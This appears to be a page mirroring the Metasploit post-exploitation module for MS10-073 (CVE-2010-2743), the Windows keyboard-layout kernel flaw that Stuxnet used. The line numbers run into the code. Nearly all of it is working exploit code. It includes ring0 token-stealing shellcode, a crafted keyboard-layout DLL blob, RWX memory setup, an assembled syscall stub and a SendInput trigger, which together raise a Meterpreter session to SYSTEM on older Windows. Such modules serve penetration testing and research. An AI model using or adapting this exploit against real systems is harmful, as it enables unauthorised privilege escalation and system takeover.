Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/escalate/ms10_073_kbdlayout.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',15'Description' => %q{16This module exploits the keyboard layout vulnerability exploited by Stuxnet. When17processing specially crafted keyboard layout files (DLLs), the Windows kernel fails18to validate that an array index is within the bounds of the array. By loading19a specially crafted keyboard layout, an attacker can execute code in Ring 0.20},21'License' => MSF_LICENSE,22'Author' => [23'Ruben Santamarta', # First public exploit24'jduck' # Metasploit module25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ],28'References' => [29[ 'OSVDB', '68552' ],30[ 'CVE', '2010-2743' ],31[ 'MSB', 'MS10-073' ],32[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],33[ 'EDB', '15985' ]34],35'DisclosureDate' => '2010-10-12',36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39core_channel_eof40core_channel_open41core_channel_read42core_channel_write43stdapi_fs_delete_file44stdapi_railgun_api45stdapi_railgun_memwrite46stdapi_sys_config_getenv47stdapi_sys_process_getpid48]49}50}51)52)53end5455def run56mem_base = nil57dllpath = nil58hDll = false59version = get_version_info60unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)61print_error("#{version.product_name} is not vulnerable.")62return63end6465unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)66print_error("#{version.product_name} is vulnerable, but not supported by this module.")67return68end6970# syscalls from http://j00ru.vexillium.org/win32k_syscalls/71if version.build_number == Msf::WindowsVersion::Win200072system_pid = 873pid_off = 0x9c74flink_off = 0xa075token_off = 0x12c76addr = 0x4142434477syscall_stub = <<~EOS78mov eax, 0x000011b679lea edx, [esp+4]80int 0x2e81ret 0x1c82EOS83else # XP84system_pid = 485pid_off = 0x8486flink_off = 0x8887token_off = 0xc888addr = 0x6063626189syscall_stub = <<~EOS90mov eax, 0x000011c691mov edx, 0x7ffe030092call [edx]93ret 0x1c94EOS95end9697ring0_code =98# "\xcc" +99# save registers -- necessary for successful recovery100"\x60" +101# get EPROCESS from ETHREAD102"\x64\xa1\x24\x01\x00\x00" \103"\x8b\x70\x44" +104# init PID search105"\x89\xf0" \106"\xbb" + 'FFFF' \107"\xb9" + 'PPPP' +108# look for the system pid EPROCESS109"\xba" + 'SSSS' \110"\x8b\x04\x18" \111"\x29\xd8" \112"\x39\x14\x08" \113"\x75\xf6" +114# save the system token addr in edi115"\xbb" + 'TTTT' \116"\x8b\x3c\x18" \117"\x83\xe7\xf8" +118# re-init the various offsets119"\x89\xf0" \120"\xbb" + 'FFFF' \121"\xb9" + 'PPPP' +122# find the target pid token123"\xba" + 'TPTP' \124"\x8b\x04\x18" \125"\x29\xd8" \126"\x39\x14\x08" \127"\x75\xf6" +128# set the target pid's token to the system token129"\xbb" + 'TTTT' \130"\x89\x3c\x18" +131# restore start context132"\x61" +133# recover in ring0, return to caller134"\xc2\x0c\00"135136dll_data =137"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \138"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \139"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \140"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" \141"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \142"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \143"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \144"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \145"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \146"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \147"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \148"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \149"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \150"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \151"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \152"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \153"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \154"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \155"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \156"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" \157"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" \158"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \159"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \160"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \161"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \162"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \163"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \164"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" \165"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \166"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \167"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \168"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \169"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \170"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \171"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \172"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \173"\x00\x00\x00\x00\x00\x00"174175pid = session.sys.process.getpid176print_status('Attempting to elevate PID 0x%x' % pid)177178# Prepare the shellcode (replace platform specific stuff, and pid)179ring0_code.gsub!('FFFF', [flink_off].pack('V'))180ring0_code.gsub!('PPPP', [pid_off].pack('V'))181ring0_code.gsub!('SSSS', [system_pid].pack('V'))182ring0_code.gsub!('TTTT', [token_off].pack('V'))183ring0_code.gsub!('TPTP', [pid].pack('V'))184185# Create the malicious Keyboard Layout file...186tmpdir = session.sys.config.getenv('TEMP')187fname = 'p0wns.boom'188dllpath = "#{tmpdir}\\#{fname}"189fd = session.fs.file.new(dllpath, 'wb')190fd.write(dll_data)191fd.close192193# Can't use this atm, no handle access via stdapi :(194# dll_fd = session.fs.file.new(dllpath, 'rb')195# Instead, we'll use railgun to re-open the file196ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)197print_status(ret.inspect)198if ret['return'] < 1199print_error("Unable to open #{dllpath}")200return201end202hDll = ret['return']203print_status("Wrote malicious keyboard layout to #{dllpath} ..")204205# Allocate some RWX virtual memory for our use..206mem_base = addr & 0xffff0000207mem_size = (addr & 0xffff) + 0x1000208mem_size += (0x1000 - (mem_size % 0x1000))209mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)210if (mem['return'] != mem_base)211print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)212return213end214print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))215216# Initialize the buffer to contain NO-OPs217nops = "\x90" * mem_size218ret = session.railgun.memwrite(mem_base, nops, nops.length)219if !ret220print_error('Unable to fill memory with NO-OPs')221return222end223224# Copy the shellcode to the desired place225ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)226if !ret227print_error('Unable to copy ring0 payload')228return229end230231# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?232pKLID = mem_base233pStr = pKLID + (2 + 2 + 4)234kbd_name = 'pwn3d.dll'235uni_name = Rex::Text.to_unicode(kbd_name + "\x00")236ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)237if !ret238print_error('Unable to copy unicode string data')239return240end241unicode_str = [242kbd_name.length * 2,243uni_name.length,244pStr245].pack('vvV')246ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)247if !ret248print_error('Unable to copy UNICODE_STRING structure')249return250end251print_status('Initialized RWX buffer ...')252253# Get the current Keyboard Layout254ret = session.railgun.user32.GetKeyboardLayout(0)255if ret['return'] < 1256print_error('Unable to GetKeyboardLayout')257return258end259hKL = ret['return']260print_status('Current Keyboard Layout: 0x%x' % hKL)261262# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(263# IN HANDLE Handle,264# IN DWORD offTable,265# IN PUNICODE_STRING puszKeyboardName,266# IN HKL hKL,267# IN PUNICODE_STRING puszKLID,268# IN DWORD dwKLID,269# IN UINT Flags270# )271272# Again, railgun/meterpreter doesn't implement calling a non-dll function, so273# I tried to hack up this call to KiFastSystemCall, but that didn't work either...274=begin275session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',276[277[ 'DWORD', 'syscall', 'in' ],278[ 'DWORD', 'handle', 'in' ],279[ 'DWORD', 'offTable', 'in' ],280[ 'PBLOB', 'pKbdName', 'in' ],281[ 'DWORD', 'hKL', 'in' ],282[ 'PBLOB', 'pKLID', 'in' ],283[ 'DWORD', 'dwKLID', 'in' ],284[ 'DWORD', 'Flags', 'in' ]285])286ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101)287print_status(ret.inspect)288=end289290# Instead, we'll craft a machine code blob to setup the stack and perform291# the system call..292asm = <<~EOS293pop esi294push 0x101295push 0x666296push #{'0x%x' % pKLID}297push #{'0x%x' % hKL}298push 0299push 0x1ae0160300push #{'0x%x' % hDll}301push esi302#{syscall_stub}303EOS304# print_status("\n" + asm)305bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string306# print_status("\n" + Rex::Text.to_hex_dump(bytes))307308# Copy this new system call wrapper function into our RWX memory309func_ptr = mem_base + 0x1000310ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)311if !ret312print_error('Unable to copy system call stub')313return314end315print_status('Patched in syscall wrapper @ 0x%x' % func_ptr)316317# GO GO GO318ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)319if ret['return'] < 1320print_error('Unable to CreateThread')321return322end323hthread = ret['return']324325# Resume the thread to actually have the syscall happen326ret = client.railgun.kernel32.ResumeThread(hthread)327if ret['return'] < 1328print_error('Unable to ResumeThread')329return330end331print_good('Successfully executed syscall wrapper!')332333# Now, send some input to cause ring0 payload execution...334print_status('Attempting to cause the ring0 payload to execute...')335vInput = [3361, # INPUT_KEYBOARD - input type337# KEYBDINPUT struct3380x0, # wVk3390x0, # wScan3400x0, # dwFlags3410x0, # time3420x0, # dwExtraInfo3430x0, # pad 13440x0 # pad 2345].pack('VvvVVVVV')346ret = session.railgun.user32.SendInput(1, vInput, vInput.length)347print_status('SendInput: ' + ret.inspect)348ensure349# Clean up350if mem_base351ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)352if !(ret['return'])353print_error('Unable to free memory @ 0x%x' % mem_base)354end355end356357# dll_fd.close358if hDll359ret = session.railgun.kernel32.CloseHandle(hDll)360if !(ret['return'])361print_error('Unable to CloseHandle')362end363end364365session.fs.file.rm(dllpath) if dllpath366end367368end369370371